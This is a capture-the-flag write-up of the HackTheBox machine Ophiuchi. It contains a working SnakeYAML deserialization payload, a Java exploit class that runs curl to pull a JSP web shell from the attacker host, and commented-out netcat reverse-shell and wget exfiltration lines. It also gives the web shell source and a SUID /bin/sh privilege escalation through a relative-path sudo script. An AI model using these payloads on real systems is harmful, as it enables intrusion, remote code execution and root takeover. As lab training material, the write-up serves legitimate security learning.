HackTheBox — Ophiuchi
The recently retired HTB machine Ophiuchi was assigned a “Medium” difficulty and featured a pretty interesting set of vulnerabilities leading to initial compromise and root access. This write up will give a step by step analysis of the machine and hopefully help those who struggled to complete it.
The recently retired HTB machine Ophiuchi was assigned a “Medium” difficulty and featured a pretty interesting set of vulnerabilities leading to initial compromise and root access. This write up will give a step by step analysis of the machine and hopefully help those who struggled to complete it.
Recon/Enum
Upon engaging with Ophiuchi, we’d like to do some network scanning to see which ports are open and available to us.
# Nmap 7.60 scan initiated Sat Jun 19 17:18:43 2021 as: nmap -p- -sC -sV -T5 — open -v -oA OphiuchiNmap 10.10.10.227
Nmap scan report for 10.10.10.227
Host is up (0.047s latency).
Not shown: 57320 closed ports, 8213 filtered ports
Some closed ports may be reported as filtered due to — defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Set-Cookie: JSESSIONID=84997B642EF44FE2D642D3E73258E9F2; Path=/; HttpOnly
| Content-Type: text/html;charset=UTF-8
| Content-Length: 8042
| Date: Sat, 19 Jun 2021 21:31:02 GMT
| Connection: close
| <html>
| <head>
| <title>Parse YAML</title>
| <style>
| html {
| background-color: #56baed;
| body {
| font-family: “Poppins”, sans-serif;
| height: 100vh;
| color: #92badd;
| display:inline-block;
| text-decoration: none;
| font-weight: 400;
| text-align: center;
| font-size: 16px;
| font-weight: 600;
| text-transform: uppercase;
| display:inline-block;
| margin: 40px 8px 10px 8px;
| color: #cccccc;
| STRUCTURE */
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, OPTIONS
| Content-Length: 0
| Date: Sat, 19 Jun 2021 21:31:02 GMT
|_ Connection: close
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.60%I=7%D=6/19%Time=60CE5F4D%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,203B,”HTTP/1\.1\x20200\x20\r\nSet-Cookie:\x20JSESSIONID=84997B
SF:642EF44FE2D642D3E73258E9F2;\x20Path=/;\x20HttpOnly\r\nContent-Type:\x20
SF:text/html;charset=UTF-8\r\nContent-Length:\x208042\r\nDate:\x20Sat,\x20
SF:19\x20Jun\x202021\x2021:31:02\x20GMT\r\nConnection:\x20close\r\n\r\n\r\
SF:n<html>\r\n<head>\r\n\x20\x20\x20\x20<title>Parse\x20YAML</title>\r\n\x
SF:20\x20\x20\x20<style>\r\n\r\n\x20\x20\x20\x20\x20\x20\x20\x20html\x20{\
SF:r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x2
SF:0#56baed;\r\n\x20\x20\x20\x20\x20\x20\x20\x20}\r\n\r\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20body\x20{\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20font-family:\x20\”Poppins\”,\x20sans-serif;\r\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20height:\x20100vh;\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20}\r\n\r\n\x20\x20\x20\x20\x20\x20\x20\x20a\x20{\r\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#92badd;\r\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:inline-block;\r\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\r\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20400;\r\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20}\r\n\r\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0h2\x20{\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:
SF:\x20center;\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-siz
SF:e:\x2016px;\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-wei
SF:ght:\x20600;\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-tr
SF:ansform:\x20uppercase;\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20display:inline-block;\r\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20margin:\x2040px\x208px\x2010px\x208px;\r\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20color:\x20#cccccc;\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20}\r\n\r\n\r\n\r\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20STRUCTUR
SF:E\x20\*/\r\n\r”)%r(HTTPOptions,7D,”HTTP/1\.1\x20200\x20\r\nAllow:\x20GE
SF:T,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Sat
SF:,\x2019\x20Jun\x202021\x2021:31:02\x20GMT\r\nConnection:\x20close\r\n\r
SF:\n”);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 19 17:19:18 2021–1 IP address (1 host up) scanned in 34.72 seconds
As we can see, we have two ports (TCP) open 22 (SSH) and 8080 (HTTP). For now we will focus on the HTTP service running on port 8080.
Navigating in our browser over to 8080 presents us with a simple web page that declares itself an “ONLINE YAML PARSER”. As with any new thing we encounter during a CTF or in real life engagements, we proceed to do some research. A quick search for “yaml parse exploit” leads us to an incredibly helpful article on abusing deserialization functionality in the SnakeYAML library. I encourage those interested in the inner workings of this abuse to go read said article. For our purposes, I’ll be skipping the finer details.
Initial Access
To test whether or not this is indeed our route forward, we need to first go ahead and spin up a simple HTTP server to catch the call back with.
python3 -m http.server
This will get an HTTP server going on port 8000 for us. Now we need to supply some YAML input to the web application and see if it requests further java class files from us. Make sure to replace the IP address with your own if you are using this as a guide.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.10.10:8000/"]
]]
]
Parsing the supplied input should result in our HTTP server receiving a call back requesting the javax.script.ScriptEngineFactory
file as demonstrated below.
Now that we know we have deserialization happening thanks to SnakeYAML, we will abuse this to upload a JSP web shell and enumerate the system further. To do this, we will need to create the necessary directory structure and file contents first. Wherever you are hosting your HTTP server, add the following folders/files:
- META-INF
+ services
* javax.script.ScriptEngineFactory
- snakeyaml
+ exploit.java
javax.script.ScriptEngineFactory
contents:
snakeyaml.exploit
exploit.java
contents:
package snakeyaml;import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.io.File;
import java.util.Scanner;public class exploit implements ScriptEngineFactory {
public exploit() {
try{
String out = "";
Runtime r = Runtime.getRuntime();
//File f = new File("/opt/tomcat/webapps/ROOT");
//File f2 = new File("/opt/tomcat/webapps/ROOT/debifrank.txt");
//f2.createNewFile();
//Scanner s = new Scanner(f);
//while (s.hasNextLine()) { out += s.nextLine(); }
//String[] pathnames;
//pathnames = f.list();
//for (String pathname : pathnames) { out += (pathname + "|"); }
//out = System.getenv("USER") + "|" + System.getenv("PWD") + "|" + System.getenv("OLDPWD") + "|" + System.getenv("HOME") + "|" + System.getenv("SHELL");
Process p = r.exec("curl http://10.10.14.192:8000/debifrank.jsp -o /opt/tomcat/webapps/ROOT/debifrank.jsp");
//Process p = r.exec("/bin/nc -e /bin/bash 10.10.14.192 8001");
//Process p = r.exec("wget http://10.10.14.192:8000/" + out);
p.waitFor();
}
catch (Exception e) { e.printStackTrace(); }
}@Override
public String getEngineName() {
return null;
}@Override
public String getEngineVersion() {
return null;
}@Override
public List<String> getExtensions() {
return null;
}@Override
public List<String> getMimeTypes() {
return null;
}@Override
public List<String> getNames() {
return null;
}@Override
public String getLanguageName() {
return null;
}@Override
public String getLanguageVersion() {
return null;
}@Override
public Object getParameter(String key) {
return null;
}@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}@Override
public String getOutputStatement(String toDisplay) {
return null;
}@Override
public String getProgram(String... statements) {
return null;
}@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
If you are enjoying this article your support would be greatly appreciated!
You may observe that some fun was had enumerating the system without using the JSP web shell in an attempt to get a reverse shell going using available binaries. In an effort to save time, a web shell was uploaded instead, but some useful commands have been left commented out to play with if desired. During that enumeration, it was determined that Apache Tomcat was the web server being dealt with, and if we wanted to place our web shell somewhere we could access it, we would want it in /opt/tomcat/webapps/ROOT/
. Using curl
, we can grab a copy of a simple JSP webshell off of our python HTTP server and output it to the web directory that we can access.
debifrank.jsp
content:
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Before we move forward with executing, we need to compile our java source code into a class file. Simply navigate to where your exploit.java
file is within a terminal and execute the following to create an exploit.class
file :
javac exploit.java
Finally, execute the parsing of your YAML script again and if all goes as planned the web app will deserialize the YAML payload, grab and read the javax.script.ScriptEngineFactory
file, fetch the exploit.class
file, execute it, pull the JSP webshell from your HTTP server and save it to the appropriate public web directory.
Now that we have a viable way of executing commands, armed with our knowledge that the web server in use is Apache Tomcat, we should try to find sensitive configuration files that might contain juicy and useful information. In our case the file we are interested in viewing is /opt/tomcat/conf/tomcat-users.xml
. If viewing with cat
, remember to view the page source to see the contents of the XML file.
Attempting to authenticate over SSH with our new credential gives us stable access to the machine as the user admin
. Be sure to grab your user flag at this point.
Privilege Escalation
Typically, one of the first commands I throw out on a system is sudo -l
to see what commands I might be able to execute as root
and hopefully without a password. In this case, we are able to execute /usr/bin/go run /opt/wasm-functions/index.go
. Clearly we are using go
to run some script. So, we should inspect that script!
Here we see a fairly simple script, making a handful of normal imports. Within the main function, the variable bytes
is being assigned the contents of the file main.wasm
. Those bytes
are then used to create a new WebAssembly instance named instance
. init
is then becoming the exported function info()
from the WebAssembly instance, followed by result
being set to the return value of init
. Finally, f
is the stringified value of result
and is checked against the value "1"
. The goal is to get f
equal to 1
so that the script falls into the else
block and executes the /bin/sh deploy.sh
command. How do we do this?
The first thing that should be noticed is that main.wasm
and deploy.sh
have relative paths in index.go
. We can probably drop our own copies to whatever directory we have control over and have them be executed when we enact our sudo ability. So, first we should create a main.wasm
that contains a info()
function that returns "1"
. I did this by creating a simple C++ program named main.cpp
as follows:
#include <iostream>
#include<stdlib.h>
#include<string.h>using namespace std;
extern "C" {
int info() {
return 1;
}
}
The extern "C"
tells the WebAssembly compiler to make available the info()
function for external use later. To compile this into our main.wasm
we need to use emcc
. If you do not have it installed already, I recommend you check out https://emscripten.org/docs/getting_started/downloads.html to get everything installed correctly. Once you have it installed, compilation is as easy as:
:~/$ emcc main.cpp -o main.js --std=c++11 -s "EXPORTED_FUNCTIONS=['_info']"
This command outputs a main.js
, main.html
, and main.wasm
. Copy main.wasm
over to the victim machine and place it wherever you’d like. I believe I made a working directory in /home/admin/.debifrank/
that I also added to the beginning of my PATH
variable. Once you have the main.wasm
file in place, you’ll also want to create your malicious deploy.sh
. You can be as sneaky as you want, I took the low road and did the following:
#!/bin/bash
chmod +s /bin/sh
This makes the effective user executing sh
the owner, root
. Once we have all of our files ready, execute the sudo
command and claim the final flag. Note that to get proper root execution, you’ll need to pass in the -p
option to ensure that effective user and actual user don’t get corrected. There is a paragraph in the man pages on this if you want to understand it in more depth.
After Thoughts
I thought this was a really interesting machine that was worthy of a “medium” difficulty rating. I hadn’t come across Java deserialization via YAML before, and I needed an excuse to brush up on WebAssembly which turns out is a pretty rad new technology that seems really handy for the offensive professional. Thanks to HTB and the creator for getting this out there!